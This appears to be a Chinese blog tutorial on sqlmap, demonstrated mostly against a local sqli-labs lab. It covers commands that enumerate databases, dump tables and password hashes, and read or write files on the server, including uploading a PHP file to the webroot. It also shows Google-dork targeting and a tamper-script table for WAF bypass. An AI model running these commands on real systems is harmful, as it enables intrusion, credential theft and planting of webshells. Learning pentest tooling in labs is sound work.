sqlmap使用

看到sql发送的测试payload

sqlmap对一个点是进行了怎样的尝试和读取数据的可以使用-v参数

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

如果想要看到sql发送的测试payload最好的等级就是3

获取目标方式

目标url

-u参数

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-2/?id=1  --batch

从文件中加载http请求

-r参数

image-20220323220812216

python sqlmap.py -r C:\Users\14980\Desktop\1.php --batch

image-20220323220907435

从burp代理中获取日志

-i

image-20220323213215450

image-20220323213235481

image-20220323213319979

image-20220323213334072

python sqlmap.py -l D:\Download\test.log --batch

image-20220323220833445

处理谷歌的搜索请求

-g

python sqlmap.py -g "inurl:\".php?id=1\""  --proxy="http://127.0.0.1:7890" --batch

请求

http参数

-data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-11/ --data="uname=admin&passwd=Dumb&submit=Submit" --batch

HTTP cookie头

–cookie,–load-cookies,–drop-set-cookie

1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-20/index.php --cookie "uname=Dumb" --batch --level 2

HTTP(S)代理

–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为:http://url:port。当HTTP(S)代理需要认证是可以使用--proxy-cred参数:username:password。--ignore-proxy拒绝使用本地局域网的HTTP(S)代理

python sqlmap.py -g "inurl:\".php?id=1\""  --proxy="http://127.0.0.1:7890" --batch

HTTP User-Agent头

–user-agent,–random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取.当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-18/index.php --data "uname=Dumb,passwd=Dumb" --user-agent " Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" --batch --level 3

HTTP Referer头

–referer

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-19/ --data "uname=Dumb,passwd=Dumb" --referer "http://127.0.0.1/sqlilabs/Less-19/" --batch --level 3

额外的HTTP头

–headers

可以通过–headers参数来增加额外的http头

设定超时时间

–timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

–retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

–randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

–scope

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免过多的错误请求被屏蔽

–safe-url,–safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

  1. –safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
  2. –safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉URL参数值编码

–skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。

每次请求时候执行自定义的python代码

–eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

HTTP请求延迟

–delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

HTTP认证保护

参数:–auth-type,–auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式
1、Basic
2、Digest
3、NTLM

HTTP协议的证书认证

–auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

参数拆分字符

–param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

注入

指定参数

-p,–skip,*

sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”,当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。例如:–skip=”user-angent.referer”

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

python sqlmap.py -u "http://127.0.0.1/param1/value1*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

指定数据库

–dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --dbms mysql --batch

指定数据库服务系统

–os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --os windows --batch

注入payload

–prefix,–suffix

代码中是这样调用数据库的

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的数据

–tamper

可以使用–tamper参数对数据做修改来绕过WAF等

探测

探测等级

–level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

–risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

页面比较

–string,–not-string,–regexp,–code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。

注入技术

测试是否是注入

–technique

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --technique "BEQSTU" --batch

设定延迟注入的时间

–time-sec

当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

二阶SQL注入

–second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后门跟一个判断页面的URL地址。

列数据

版本号

-b,–banner

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -b --batch

用户

-current-user

在大多数据库中可以获取到管理数据的用户。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -current-user --batch

当前数据库

–current-db

返还当前连接的数据库。

当前用户是否为管理员

–is-dba

判断当前的用户是否为管理,是的话会返回True。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --is-dba --batch

列数据库管理用户

–users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --users --batch

列出并破解数据库用户的hash

–passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --passwords --batch

image-20220324141848955

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

–privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --privileges --batch

列出数据库系统的数据库

–dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --dbs --batch

列举数据库表

–tables,–exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。–exclude-sysdbs参数是指包含了所有的系统数据库。需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -D "security" --tables --batch

列举数据库表中的字段

–columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。如果没有使用-D参数指定数据库时,默认会使用当前数据库。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -D "security" -T "users" --columns --batch

获取整个表的数据

–dump,-C,-T,-D,–start,–stop,–first,–last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -D "security" -T "users" -C "username,password" --dump --batch

如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。

也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

列举数据库系统的架构

–schema,–exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --schema --batch 
python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --schema --batch --exclude-sysdbs

获取表中数据个数

–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -D "security" -T "users" --count --batch

获取所有数据库表的内容

–dump-all,–exclude-sysdbs

使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --dump-all --batch
python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --dump-all --batch --exclude-sysdbs

搜索字段,表,数据库

–search,-C,-T,-D

–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

  • -C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
  • -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
  • -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

爆破

暴力破解表名

–common-tables

当使用–tables无法获取到数据库的表时,可以使用此参数。

1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -D "security" --common-tables --batch

暴力破解列名

–common-columns

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -D "security" -T "users" --common-columns --batch

系统文件操作

从数据库服务器中读取文件

–file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --file-read "D:\Data\secquan\tools\Environment\PhpStudy\PHPTutorial\WWW\tset.php" --batch

image-20220324144015390

image-20220324144026173

把文件上传到数据库服务器中

–file-write,–file-dest

file-write 从本地写入 file-dest 写入目标路径加文件名

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --file-write "D:\MyCtf\文件上传\6.PHP" --file-dest "D:\Data\secquan\tools\Environment\PhpStudy\PHPTutorial\WWW\\zf.php" --batch

image-20220324144553257

image-20220324144601666

常规参数

非交互模式

–batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

预估完成时间

–eta

可以计算注入数据的剩余时间。

使用DBMS的hex函数

–hex

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免

Tamper 速查

脚本名称 作用
apostrophemask.py 用utf8代替引号
equaltolike.py like 代替等号
space2dash.py 绕过过滤’=’ 替换空格字符(“),(‘’ - ‘)后跟一个破折号注释,一个随机字符串和一个新行(‘n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py 空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py 空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(“)(‘ - ‘)后跟一个破折号注释一个新行(‘ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py /**/ 分割sql关键字
charunicodeencode.py 字符串unicode编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py Replaces space character ' ' with comments /**/